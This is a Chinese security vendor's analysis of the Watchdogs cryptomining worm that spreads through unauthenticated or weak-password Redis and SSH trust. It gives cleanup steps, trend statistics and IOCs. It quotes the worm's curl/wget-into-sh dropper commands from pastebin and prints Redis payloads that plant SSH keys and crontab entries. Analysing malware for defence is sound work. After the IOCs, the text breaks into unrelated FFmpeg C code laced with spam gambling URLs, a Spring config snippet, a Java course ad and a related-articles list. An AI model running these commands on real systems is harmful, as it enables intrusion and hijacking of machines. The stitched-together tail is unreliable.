背景
  
  2月20日17时许,阿里云安全监测到一起大规模挖矿事件,判断为Watchdogs蠕虫导致,并在第一时间进行了应急处置。
  
  该蠕虫短时间内即造成大量Linux主机沦陷,一方面是利用Redis未授权访问和弱密码这两种常见的配置问题进行传播,另一方面从known_hosts文件读取ip列表,用于登录信任该主机的其他主机。这两种传播手段都不是第一次用于蠕虫,但结合在一起爆发出巨大的威力。
  
  然而Watchdogs并不是第一个造成这般影响的Redis蠕虫。截至目前,Redis配置问题已惨遭40余种蠕虫攻击和利用;此外,其他种类数据库的配置问题,也难保不在将来成为黑客的目标。
  
  因此,本文在分析此次Watchdogs挖矿蠕虫、提供清理建议的同时,也分析了数据库蠕虫的发展趋势,并针对类似的大规模入侵事件的应急和预防给出建议。
  
  Watchdogs 挖矿蠕虫简介
  
  该蠕虫的感染路径如下图所示。
  
  蠕虫传播方式
  
  攻击者首先扫描存在未授权访问或弱密码的Redis,并控制相应主机去请求以下地址:
  
  https://pastebin.com/raw/sByq0rym
  
  该地址包含的命令是请求、base64解码并执行另一个url地址的内容:
  
  (curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh
  
  而https://pastebin.com/raw/D8E71JBJ 的内容解码后为一个bash脚本,脚本中又包含下载恶意程序Watchdogs的指令。
  
  (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
  
  如上图所示,本次蠕虫的横向传播分为两块。
  
  一是Bash脚本包含的如下内容,会直接读取主机上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件,用于登录信任当前主机的机器,并控制这些机器执行恶意指令。
  
  二是Bash脚本下载的Watchdogs程序,通过对Redis的未授权访问和爆破、以及对SSH的爆破,进行横向传播。
  
  具体为表现为,Watchdogs程序的Bbgo()函数中,首先获取要攻击的ip列表
  
  随后尝试登录其他主机的ssh服务,一旦登录成功则执行恶意脚本下载命令
  
  在Ago()函数中,则表现为针对其他主机Redis的扫描和攻击。
  
  恶意Bash脚本
  
  除了下载Watchdogs程序和横向传播外,Bash脚本还具有以下几项功能
  
  1.将下载自身的指令添加到crontab定时任务,10分钟执行一次
  
  2.杀死同类的挖矿僵尸木马进程
  
  杀死cpu占用大于80%的其他进程
  
  简而言之,bash脚本主要是完成恶意程序植入、持久化和一部分的横向传播功能。
  
  Watchdogs分析
  
  Watchdogs程序为elf可执行文件,由go语言编译,其主要函数结构如下图所示。
  
  1.LibiosetWrite()
  
  该函数主要执行libioset.so文件的写入
  
  2.Cron()
  
  将恶意下载命令添加到/etc/cron.d/root等多个文件中,定时执行,加大清理难度
  
  3.KsoftirqdsWriteRun()
  
  解压并写入挖矿程序及其配置文件
  
  Bbgo()和Ago()函数的功能在“蠕虫传播方式”一节已有介绍,此处不再赘述。
  
  综上,Watchdogs程序在Bash脚本执行的基础上,将进一步进行挖矿程序的释放和执行、恶意so文件写入以及剩余的横向传播。
  
  libioset.so分析
  
  如图是libioset.so的导出函数表,包括unlink, rmdir, readdir等。
  
  这里以执行rm命令必须调用的unlink()函数为例。
  
  它只对不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"这几个字符串的文件调用正常的unlink(),导致几个文件无法被正常删除。
  
  其他几个命令,如readdir也是类似,无法正常返回关于恶意程序的结果。
  
  而fopen函数更是变本加厉,由于系统查询cpu使用情况和端口占用情况时,都会调用fopen,于是攻击者hook了这一函数,使其在读取'/proc/stat'和'/proc/net/tcp'等文件时,调用伪造函数
  
  其中forge_proc_cpu()函数,将返回硬编码的字符串
  
  这种对查看系统状态功能的恶意hook,导致用户难以通过简单自查,确定挖矿是否存在以及挖矿进程是哪个。
  
  “许多黑客模仿我的代码”——数据库蠕虫趋势统计
  
  此次的Watchdogs挖矿蠕虫与18年出现的kworkerd蠕虫出自同一位作者(关于kworkerd挖矿僵尸网络参见《2018年云上挖矿分析报告》),因为它们使用了相同的钱包地址和相似的攻击手法。此外作者在恶意脚本末尾的注释也印证了这点:
  
  #1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...
  
  这段注释同时也揭露了一个事实,“许多黑客模仿我的代码”——当一个攻击者采取了某种攻击手法并取得成功,其他攻击者会纷纷模仿,很快将该手段加入自己的“攻击大礼包”。
  
  这种模仿的结果是,据阿里云安全不完全统计,利用Redis未授权访问等问题进行攻击的蠕虫,数量已从2018年中的一个,上涨到如今的40余个,其中不乏DDG、8220这样臭名昭著的挖矿团伙。此外大部分近期新出现的蠕虫,都会加上Redis利用模块,因为实践证明互联网上错误配置的Redis数据库数量庞大,能从其中分一杯羹,攻击者的盈利就能有很大的提升。
  
  因而如果不保护好Redis,用户面临的将不是一个蠕虫,而是40余个蠕虫此起彼伏的攻击。
  
  下图所示为近半年来,针对Redis的攻击流量和目标机器数量趋势,从中不难看出Redis攻击逐渐被各大僵尸网络采用,并在2018年10月11月保持非常高的攻击量;而后在经历了3个月左右的沉寂期后,在今年2月再次爆发。
  
  而Redis本身遭受攻击的主流方法也经过了三个阶段
  
  1.攻击者对存在未授权访问的Redis服务器写入ssh key,从而可以畅通无阻登录ssh服务
  
  具体为执行以下payload
  
  config set dir /root/.ssh/
  
  config set dbfilename authorized_keys
  
  set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
  
  save
  
  其中【sshkey】表示攻击者的密钥
  
  2.攻击者对存在未授权访问的Redis服务器写入crontab文件,定时执行恶意操作
  
  具体为执行以下payload
  
  config set dir /var/spool/cron
  
  config set dbfilename root
  
  set x "【evil command】"
  
  save
  
  其中【evil command】表示定时执行的恶意命令
  
  3.以上两个阶段中仅对Redis完全没有验证即可访问的情况,第三个阶段则开始针对设置了密码验证,但密码较弱的Redis进行攻击,受害范围进一步扩大。
  
  然而Redis并不是唯一一个受到黑客“青眼”的数据库。如下表所示,SQL Server, Mysql, Mongodb这些常用数据库的安全问题,也被多个挖矿僵尸网络所利用;利用方式集中在未授权访问、密码爆破和漏洞利用。
  
  Watchdogs入侵修复及清理方法
  
  1.首先停止cron服务,避免因其不断执行而导致恶意文件反复下载执行。
  
  如果操作系统可以使用service命令,则执行
  
  service crond stop
  
  如果没有service命令,执行
  
  /etc/init.d/cron stop
  
  2.随后使用busybox删除以下两个so文件:
  
  sudo busybox rm -f /etc/ld.so.preload
  
  sudo busybox rm -f /usr/local/lib/libioset.so
  
  sudo ldconfig
  
  busybox是一个小巧的unix工具集,许多Linux系统装机时已集成。使用它进行删除是因为系统自带的rm命令需要进行动态so库调用,而so库被恶意hook了,无法进行正常删除;而busybox的rm是静态编译的,无需调用so文件,所以不受影响。
  
  3.清理恶意进程
  
  sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
  
  sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`
  
  4.清理cron相关文件,重启服务,具体为检查以下文件并清除其中的恶意指令:
  
  /var/spool/cron/crontabs/root
  
  /var/spool/cron/root
  
  /etc/cron.d/root
  
  之后执行
  
  service crond start
  
  或
  
  /etc/init.d/cron start
  
  安全建议
  
  数字加密货币的获取依赖计算资源的特质,催生了黑客进行大规模入侵的动机和土壤;类似Watchdogs蠕虫这样的数据库入侵事件,不是第一起,也不会是最后一起。阿里云作为“编写时即考虑安全性”的平台,提供良好的安全基础设施和丰富的安全产品,帮助用户抵御挖矿和入侵,同时提供以下安全建议:
  
  1.在入侵发生之前,加强数据库服务的密码,尽量不将数据库服务开放在互联网上,或根据实际情况进行访问控制(ACL)。这些措施能够帮助有效预防挖矿、勒索等攻击。平时还要注意备份资料,重视安全产品告警。
  
  2.如果怀疑主机已被入侵挖矿,对于自身懂安全的用户,在攻击者手段较简单的情况下,可以通过自查cpu使用情况、运行进程、定时任务等方式,锁定入侵源头。
  
  3.对于攻击者采用较多隐藏手段的攻击(如本次的Watchdogs蠕虫,使ps、top等系统命令失效),建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽pastebin.com、thrysi.com等广泛被挖矿蠕虫利用的网站,达到阻断入侵的目的。
  
  如图是云防火墙帮助用户拦截此次Watchdogs蠕虫下载的例子,图中共拦截23次对pastebin.com的请求;这些拦截导致主机未下载恶意脚本,从而就不会发起对thrysi.com的请求,故规则命中次数为0。
  
  以上截图表明Watchdogs的攻击链未能执行到下一步,拦截起到了很好的效果。
  
  4.对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。
  
  IOC
  
  钱包地址
  
  46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava
  
  矿池地址
  
  xmr.f2pool.com
  
  恶意url
  
  pastebin.com/raw/sByq0rym
  
  thyrsi.com/t6/672/1550667515x1822611209.jpg
  
  if (argc < 3) {
  
  printf("usage: %www.mayiyule158.cn/ s input output\n"
  
  "API example program to remux a media file with libavformat and libavcodec.\n"
  
  "The output format is guessed according to the file extension.\n"
  
  "\n", argv[www.gen-okamoto.com]);
  
  return 1;
  
  }
  
  in_filename = argv[www.xianjingshuiqi.com];
  
  out_filename = argv[2];
  
  // 1. 打开输入
  
  // 1.1 读取文件头,获取封装格式相关信息
  
  if ((ret = avformat_open_input(&ifmt_ctx, in_filename, 0, 0)) < 0) {
  
  printf("Could not open input file '%s'", in_filename);
  
  goto end;
  
  }
  
  // 1.2 解码一段数据,获取流相关信息
  
  if ((ret = avformat_find_stream_info(www.thd178.com/ ifmt_ctx, 0)) < 0) {
  
  printf("Failed to retrieve input stream information");
  
  goto end;
  
  }
  
  av_dump_format(ifmt_ctx, 0, in_www.yongshi123.cn filename, 0);
  
  // 2. 打开输出
  
  // 2.1 分配输出ctx
  
  avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename);
  
  if (!ofmt_ctx) {
  
  printf("Could not create output context\n");
  
  ret = AVERROR_UNKNOWN;
  
  goto end;
  
  }
  
  stream_mapping_size www.dfgjpt.com= ifmt_ctx->nb_streams;
  
  stream_mapping = av_mallocz_array(stream_mapping_size, sizeof(*stream_mapping));
  
  if (!stream_mapping) {
  
  ret = AVERROR(ENOMEM);
  
  goto end;
  
  }
  
  ofmt = ofmt_ctx->oformat;
  
  for (i = 0; i < ifmt_ctx-www.365soke.com >nb_streams; i++) {
  
  AVStream *out_stream;
  
  AVStream *in_stream www.mtyL1.com= ifmt_ctx->streams[i];
  
  AVCodecParameters *in_codecpar = in_stream->codecpar;
  
  if (in_codecpar->codec_type !www.hengtongyoule.com= AVMEDIA_TYPE_AUDIO &&
  
  in_codecpar->codec_type !www.zhenghongyule.com= AVMEDIA_TYPE_VIDEO &&
  
  in_codecpar->codec_type !www.meiwanyule.cn/ = AVMEDIA_TYPE_SUBTITLE) {
  
  application-dev.properties
  
  basic.message: Dynamic Message in DEV
  
  一旦你特定配置了配置文件,你需要在环境中设定一个活动的配置文件。
  
  有多种方法可以做到这一点:
  
  在 VM 参数中使用 Dspring.profiles.active=prod
  
  在 application.properties 中使用 spring.profiles.active=prod
  
  我自己是一名从事了8年J a v a 的老程序员,今年年初我花了一个月整理了一份最适合2019年学习的J a v a干货,送给每一位努力的小伙伴。"

Watchdogs利用Redis实施大规模挖矿,常见数据库蠕虫如何破?的更多相关文章

  1. 利用redis 漏洞入侵挖矿临时解决办法

    top 看到一个bashd的进程占据了cpu ps aux |grep bashd cd /tmp 发现ddg.2011 的文件.root dump.rdb 在/root/.ssh  也有奇怪的文件 ...

  2. 如何更好的利用redis

    原文地址http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html @(syoka)[re ...

  3. Redis 多级缓存架构和数据库与缓存双写不一致问题

    采用三级缓存:nginx本地缓存+redis分布式缓存+tomcat堆缓存的多级缓存架构 时效性要求非常高的数据:库存 一般来说,显示的库存,都是时效性要求会相对高一些,因为随着商品的不断的交易,库存 ...

  4. 利用Redis cache优化app查询速度实践

    注意:本篇文章译自speeding up existing app with a redis cache,如需要转载请注明出处. 发现问题 在应用解决方法之前,我们需要对我们面对的问题有一个清晰的认识 ...

  5. Redis的那些最常见面试问题

    随笔:经过长达一周的奔波和面试,电话面试,回首今天终于成功的入职了,总共面试了大概10家公司,包括阿里,京东,IBM等等,京东技术过了,学历因为非统招就被pass了,阿里面了2次电话面试就没下文了,估 ...

  6. (转)Redis的那些最常见面试问题

    背景:最近在准备面试相关的题目,发现redis基本一片空白,有必要好好总结下. 转自:https://www.cnblogs.com/Survivalist/p/8119891.html 1.什么是r ...

  7. Redis的那些最常见面试问题(转)

    Redis的那些最常见面试问题         1.什么是redis? Redis 是一个基于内存的高性能key-value数据库. 2.Reids的特点 Redis本质上是一个Key-Value类型 ...

  8. 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利

    一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...

  9. 【Redis】利用 Redis 实现分布式锁

    技术背景 首先我们需要先来了解下什么是分布式锁,以及为什么需要分布式锁. 对于这个问题,我们可以简单将锁分为两种--内存级锁以及分布式锁,内存级锁即我们在 Java 中的 synchronized 关 ...

随机推荐

  1. Rabbitmq-topic演示

    在direct演示里,我们的日志系统实现了可选择性的接收日志.但仍旧有一些限制:不能基于多种标准进路由.在一个完整的日志系统中,我们可能不仅要根据日志的严重级别来接收日志,可能需要基于日志的来源来进行 ...

  2. 从github checkout子文件夹

    1.将远程项目加载到指定目录:$git init; $git remote add -f origin url2.使用SparseCheckout模式:$git config core.sparsec ...

  3. Scala学习(七)练习

    控制结构和函数 1. 编写示例程序,展示为什么 package com.horstmann.impatient 不同于 package com package horstmann package im ...

  4. Appium Studio 初体验(windows做ios自动化,录制appium脚本)

    偶然的机会遇到了这个工具——Appium Studio, 在官网是这么解释的 Get your Appium testing projects going within minutesInstall ...

  5. ssh登陆服务器locale告警(-bash: warning: setlocale:)的处理方法

    使用ssh远程登陆 IDC机房服务器,发现老是出现如下告警信息: -bash: warning: setlocale: LC_CTYPE: cannot change locale (en_US.UT ...

  6. 如何用chrome查看post get及返回的数据

    chrome浏览器按下F12打开开发者工具 点击Network,找到过滤器 筛选XHR,Method那一列会显示POST GET:

  7. Linux内核读书笔记第三周 调试

    内核调试的难点在于它不能像用户态程序调试那样打断点,随时暂停查看各个变量的状态. 也不能像用户态程序那样崩溃后迅速的重启,恢复初始状态. 用户态程序和内核交互,用户态程序的各种状态,错误等可以由内核来 ...

  8. ros-安装

    1.安装了ubuntu for ros. 运行评论下边那条命令: 2.rtabamp 3.准备安装机器人导航仿真系统:https://blog.csdn.net/wangchao7281/articl ...

  9. Practice5.1 测试与封装5.1

    结对同伴: 姓名 学号 博客地址 叶子鹏 201306114420 http://www.cnblogs.com/kazehanaai/ 王佳宁 201306114434 http://www.cnb ...

  10. 20172319 《Java程序设计教程》第8周学习总结

    20172319 2018.04.24-05.03 <Java程序设计教程>第8周学习总结 目录 教材学习内容总结 教材学习中的问题和解决过程 代码调试中的问题和解决过程 代码托管 上周考 ...